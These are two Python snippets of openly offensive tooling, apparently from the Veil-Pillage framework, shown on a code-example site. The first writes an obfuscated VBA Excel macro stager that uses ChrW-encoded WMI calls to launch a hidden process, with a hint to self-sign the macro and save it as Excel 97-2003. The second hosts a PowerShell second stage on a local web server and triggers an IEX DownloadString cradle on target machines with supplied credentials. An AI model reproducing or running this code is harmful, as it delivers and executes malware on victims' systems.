        macro += "\tSet {} = {}.Get(ChrW(87) & ChrW(105) & ChrW(110) & ChrW(51) & ChrW(50) & ChrW(95) & ChrW(80) & ChrW(114) & ChrW(111) _\n".format(
            varObjStartup, varObjWMI)
        macro += "\t\t& ChrW(99) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(83) & ChrW(116) & ChrW(97) & ChrW(114) & ChrW(116) _\n"
        macro += "\t\t& ChrW(117) & ChrW(112))\n"

        macro += "\tSet {} = {}.SpawnInstance_\n".format(
            varObjConfig, varObjStartup)
        macro += "\t{}.ShowWindow = 0\n".format(varObjConfig)

        #macro += "\tSet {} = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2:Win32_Process\")\n".format(varObjProcess)
        # Somehow hidden like this:
        macro += "\tSet {} = GetObject(ChrW(119) & ChrW(105) & ChrW(110) & ChrW(109) & ChrW(103) & ChrW(109) & ChrW(116) & ChrW(115) _\n".format(
            varObjProcess)
        macro += "\t\t& ChrW(58) & ChrW(92) & ChrW(92) & ChrW(46) & ChrW(92) & ChrW(114) & ChrW(111) & ChrW(111) & ChrW(116) & ChrW(92) _\n"
        macro += "\t\t& ChrW(99) & ChrW(105) & ChrW(109) & ChrW(118) & ChrW(50) & ChrW(58) & ChrW(87) & ChrW(105) & ChrW(110) & ChrW(51) _\n"
        macro += "\t\t& ChrW(50) & ChrW(95) & ChrW(80) & ChrW(114) & ChrW(111) & ChrW(99) & ChrW(101) & ChrW(115) & ChrW(115))\n"

        macro += "\t{}.Create {}, Null, {}, intProcessID\n".format(
            varObjProcess, varStr, varObjConfig)
        macro += "End Function\n"

        try:
            with open(cfg.defaultPath['macroStager'], "w+") as f:
                f.write(macro)
                f.close()
                print helpers.color("[+] Macro stager saved in [{}]".format(
                    cfg.defaultPath['macroStager']))
                print helpers.color(
                    "[*] Hint: Use this VBA macro in Excel, sign it even with a self-signed certificate, and save it in format 'Excel 97-2003'"
                )
        except IOError:
            print helpers.color("[!] Could not write stager file [{}]".format(
                cfg.defaultPath['macroStager']))
Ejemplo n.º 25
0
def powershellHostTrigger(targets,
                          username,
                          password,
                          secondStage,
                          lhost,
                          scriptArguments="",
                          triggerMethod="wmis",
                          extraFiles=[],
                          outFile=None,
                          ssl=False,
                          noArch=False):
    """
    Hosts the 'secondaryStage' powershell script on a temporary web server,
    and triggers the "IEX (New-Object Net.WebClient).DownloadString(...)" cradle
    to download and invoke the secondStage.

    Inspiration from http://www.pentestgeek.com/2013/09/18/invoke-shellcode/

    lhost               - local host IP to trigger the secondary stage from
    secondStage         - path to a secondary Powershell payload stage
    scriptArguments     - additional powershell command to run right after the secondStage download 
                            i.e. for PowerSploit arguments
    extraFiles          - additional files to host (i.e. an exe)
    outFile             - if you want to retrieve the results of the final execution
    ssl                 - use https/ssl for the trigger
    noArch              - don't do the arch-independent launcher

    Inspiration from http://www.pentestgeek.com/2013/09/18/invoke-shellcode/

    """

    # this surpasses the length-limit implicit to smbexec I'm afraid :(
    if triggerMethod.lower() == "smbexec":
        print helpers.color(
            "\n\n [!] Error: smbexec will not work with powershell invocation",
            warning=True)
        raw_input(" [*] press any key to return: ")
        return ""

    # sanity check that the second powershell stage actually exists
    if not os.path.exists(secondStage):
        print helpers.color("\n\n [!] Error: second powershell stage '" +
                            secondStage + "' doesn't exist!",
                            warning=True)
        raw_input(" [*] press any key to return: ")
        return ""

    # translate string to boolean for ssl
    if ssl and isinstance(ssl, str):
        if ssl.lower() == "true": ssl = True
        else: ssl = False

    # get a randomized name for our second stage
    secondStageName = helpers.randomString()

    # if we're using ssl/https to host, throw in the self-signed cert
    # note: this also cleanr out the host directory, /tmp/pillage/ !
    if ssl:
        certPath = settings.VEIL_PILLAGE_PATH + "/data/misc/key.pem"
        # create our Veil HTTPS server for serving /tmp/pillage/
        server = http.VeilHTTPServer(port=443, cert=certPath)
        # append https to the local host
        url = "https://" + lhost + "/" + secondStageName
    else:
        # create our Veil HTTP server for serving /tmp/pillage/
        server = http.VeilHTTPServer()
        url = "http://" + lhost + "/" + secondStageName

    # copy the second stage into the randomized name in /tmp/pillage/
    os.system("cp " + secondStage + " /tmp/pillage/" + secondStageName)

    # start the http server up
    server.start()
    time.sleep(.5)

    # copy in any extra files to host (i.e. if we're doing remote reflective exe invocation or something)
    for f in extraFiles:
        if not os.path.exists(secondStage):
            print helpers.color(" [!] Error: addtional file '" + f +
                                "' doesn't exist!",
                                warning=True)
        else:
            os.system("cp " + f + " /tmp/pillage/")

    # call the general powershell trigger method with the appropriate url
    powershellTrigger(targets, username, password, url, scriptArguments,
                      triggerMethod, outFile, noArch)

    # pause for a bit, and the shut the server down
    print helpers.color("\n [*] Giving time for commands to trigger...")
    time.sleep(10)
    server.shutdown()